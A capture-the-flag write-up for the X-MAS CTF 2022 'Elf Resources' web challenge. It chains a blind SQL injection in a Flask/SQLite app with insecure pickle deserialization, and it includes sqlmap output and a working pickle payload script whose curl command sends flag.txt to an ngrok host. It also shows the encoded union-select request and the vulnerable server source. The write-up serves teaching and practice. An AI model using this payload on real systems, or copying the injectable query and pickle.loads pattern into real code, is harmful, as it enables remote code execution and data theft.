21 Dec 2022 | Reading time: ~5 min

Exploit Arbitrary Deserialization through Blind SQL Injection

Elf Resources - X-MAS CTF 2022

#X-MAS #Challenge #Web #Medium #SQLite #SQL-Injection #Blind-SQL-Injection #insecure-deserialization #pickle

thumbnail.png


Table of contents

  1. Introduction
    1. Improved skills
    2. Used tools
  2. Video
  3. Writeup [TL;DR]
    1. Setup
    2. Information Gathering
      1. The application at-a-glance 🔍
    3. Exploitation
      1. Boolean based SQL-Injection
      2. SQL Injection + Arbitrary Deserialization
      3. Exfiltrated the flag
    4. Flag
    5. Extra miles
      1. Vulnerable source code

Introduction

The Elf Resources department needs to keep an eye on what the elves are doing. This site was done in a hurry and they would appreciate if you would take a look.

Improved skills

  • Exploitation of Bind SQL Injections in SQLite
  • Exploitation of insecure deserialization vulnerabilities when using python pickle.
  • Data exfiltration using OAST techniques

Used tools

  • burpsuite
  • sqlmap
  • hackvector (burpsuite extension)
  • custom python scripts

Video

Writeup [TL;DR]

Setup

Connect to the challenge: challs.htsp.ro:13001

Information Gathering

The application at-a-glance 🔍

Application home page:

Selected the first elf:

Request:

GET /1 HTTP/1.1
Host: challs.htsp.ro:13001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://challs.htsp.ro:13001/
Upgrade-Insecure-Requests: 1

The other elves have just different names and images.

Exploitation

Boolean based SQL-Injection

The elf’s id is vulnerable to boolen-based SQL Injections and can be exploited to enumerate the database

Math is evaluated and executed inside the elf’s id:

Moreover boolean-based query can be submitted to confirm the SQL Injection:

Verified the SQL Injection also with sqlmap:

$ sqlmap http://challs.htsp.ro:13001/2 --current-db --proxy http://127.0.0.1:8080 --all --batch
...
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://challs.htsp.ro:13001/2 AND 6613=6613
---
...

Enumerated the entire db:

Sometimes sqlmap is unable to extract serialized data and just return a void column. Use the --no-cast o --hex flags for those cases.

$ sqlmap http://challs.htsp.ro:13001/2 --current-db --proxy http://127.0.0.1:8080 --all --batch
...
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://challs.htsp.ro:13001/2 AND 6613=6613
---
...
Database: <current>
Table: elves
[3 entries]
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| id | data                                                                                                                                     |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | gASVUAAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwJU25vd2ZsYWtllIwIYWN0aXZpdHmUjA1QYWNraW5nIGdpZnRzlIwCaWSUTnViLg==             |
| 2  | gASVSwAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwEQmVsbJSMCGFjdGl2aXR5lIwNSGVscGluZyBTYW50YZSMAmlklE51Yi4=                     |
| 3  | gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4= |
+----+------------------------------------------------------------------------------------------------------------------------------------------+
...

SQL Injection + Arbitrary Deserialization

Discovered some python objects inside the DB:

┌──(kali㉿kali)-[~/CTFs/X-MAS/manipulated]
└─$ echo 'gASVUAAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwJU25vd2ZsYWtllIwIYWN0aXZpdHmUjA1QYWNraW5nIGdpZnRzlIwCaWSUTnViLg==' | base64 -d
Packing giftsidNub.                                                                                                                                                                                                                         
┌──(kali㉿kali)-[~/CTFs/X-MAS/manipulated]
└─$ echo 'gASVWgAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwFU25vd3mUjAhhY3Rpdml0eZSMG0xvb2tpbmcgYXQgdGhlIG5hdWdodHkgbGlzdJSMAmlklE51Yi4=' | base64 -d
__main__Elf)}(nameSnowactivityooking at the naughty listidNub.                                                                                                                                                                              
┌──(kali㉿kali)-[~/CTFs/X-MAS/manipulated]
└─$ echo 'gASVSwAAAAAAAACMCF9fbWFpbl9flIwDRWxmlJOUKYGUfZQojARuYW1llIwEQmVsbJSMCGFjdGl2aXR5lIwNSGVscGluZyBTYW50YZSMAmlklE51Yi4=' | base64 -d
Helping SantaidNub. 

Created a script to craft custom serialized python objects that once unserialized execute arbitrary code:

import pickle
import base64
import os

# Credits to m3ssap0

class Elf:
    def __init__(self, name, activity, id):
        self.name = name
        self.activity = activity
        self.id = id
    
    def __reduce__(self):
        command = "curl https://229b-93-51-54-187.eu.ngrok.io/`cat flag.txt|base64`"
        return os.system, (command, )

def generate_exploit():
    serialized_exploit = base64.b64encode(pickle.dumps(Elf("0xbro", "pwning", 0))).decode("ascii")
    print("Serialized exploit object: %s" % serialized_exploit)
    return serialized_exploit

if __name__ == '__main__':
    exploit_object = generate_exploit()
$ python3 script.py 
Serialized exploit object: gASVWwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEBjdXJsIGh0dHBzOi8vMjI5Yi05My01MS01NC0xODcuZXUubmdyb2suaW8vYGNhdCBmbGFnLnR4dHxiYXNlNjRglIWUUpQu

What is the SQL query that the server creates to manage this requests?

Assumptions:

  • select "/some/path/"||id from elves where id = <param>
  • select data from elves where id = <param>

Random junk appended: Legit object appended:

Exfiltrated the flag

Exploited the SQL Injection to send a request containing the serialized object (the full payload has been urlencoded in order to avoid issues related to special character inside the request):

GET /0%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%27%67%41%53%56%57%77%41%41%41%41%41%41%41%41%43%4d%42%58%42%76%63%32%6c%34%6c%49%77%47%63%33%6c%7a%64%47%56%74%6c%4a%4f%55%6a%45%42%6a%64%58%4a%73%49%47%68%30%64%48%42%7a%4f%69%38%76%4d%6a%49%35%59%69%30%35%4d%79%30%31%4d%53%30%31%4e%43%30%78%4f%44%63%75%5a%58%55%75%62%6d%64%79%62%32%73%75%61%57%38%76%59%47%4e%68%64%43%42%6d%62%47%46%6e%4c%6e%52%34%64%48%78%69%59%58%4e%6c%4e%6a%52%67%6c%49%57%55%55%70%51%75%27 HTTP/1.1
Host: challs.htsp.ro:13001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close

url-decode request: 0 union select 'gASVWwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjEBjdXJsIGh0dHBzOi8vMjI5Yi05My01MS01NC0xODcuZXUubmdyb2suaW8vYGNhdCBmbGFnLnR4dHxiYXNlNjRglIWUUpQu'

$ ngrok http 10099
...
GET /WC1NQVN7M0xmX0h1TTRuX1IzNTB1ckMzNV93MWxMXzgzX0Mwbjc0QzcxTjlfWTB1XzUwMG59 502 Bad Gateway
...
$ echo WC1NQVN7M0xmX0h1TTRuX1IzNTB1ckMzNV93MWxMXzgzX0Mwbjc0QzcxTjlfWTB1XzUwMG59 | base64 -d                                                            
X-MAS{3Lf_HuM4n_R350urC35_w1lL_83_C0n74C71N9_Y0u_500n}

Flag

X-MAS{3Lf_HuM4n_R350urC35_w1lL_83_C0n74C71N9_Y0u_500n}

Extra miles

Vulnerable source code

import base64
import dataclasses
import os
import pickle
import sqlite3
from typing import Optional

from flask import Flask, render_template


@dataclasses.dataclass
class Elf:
	name: str
	activity: str
	id: Optional[int] = dataclasses.field(default=None)


app = Flask(__name__)

db = sqlite3.connect('file::memory:?cache=shared', check_same_thread=False)


@app.route("/")
def index() - str:
	cursor = db.execute("select id, data from elves")
	elves = []
	for record in cursor:
		elf = pickle.loads(base64.b64decode(record[1]))
		elf.id = record[0]
		elves.append(elf)
	return render_template("index.html", elves=elves)


@app.route("/<elf_id>")
def elf_data(elf_id: int) - str:
	cursor = db.execute(f"select data from elves where id = {elf_id}")
	data = cursor.fetchone()[0]
	elf = pickle.loads(base64.b64decode(data))
	return render_template('elf.html', elf=elf)


def main():
	db.execute("""
		create table elves(
			id integer primary key autoincrement not null,
			data text
		);
	""")
	for elf in [
		Elf(name="Snowflake", activity="Packing gifts"),
		Elf(name="Bell", activity="Helping Santa"),
		Elf(name="Snowy", activity="Looking at the naughty list")
	]:
		data = base64.b64encode(pickle.dumps(elf))
		db.execute(f"""
			insert into elves(data) values(?);
		""", (data,))
	app.run('0.0.0.0', 2000)


if __name__ == "__main__":
	main()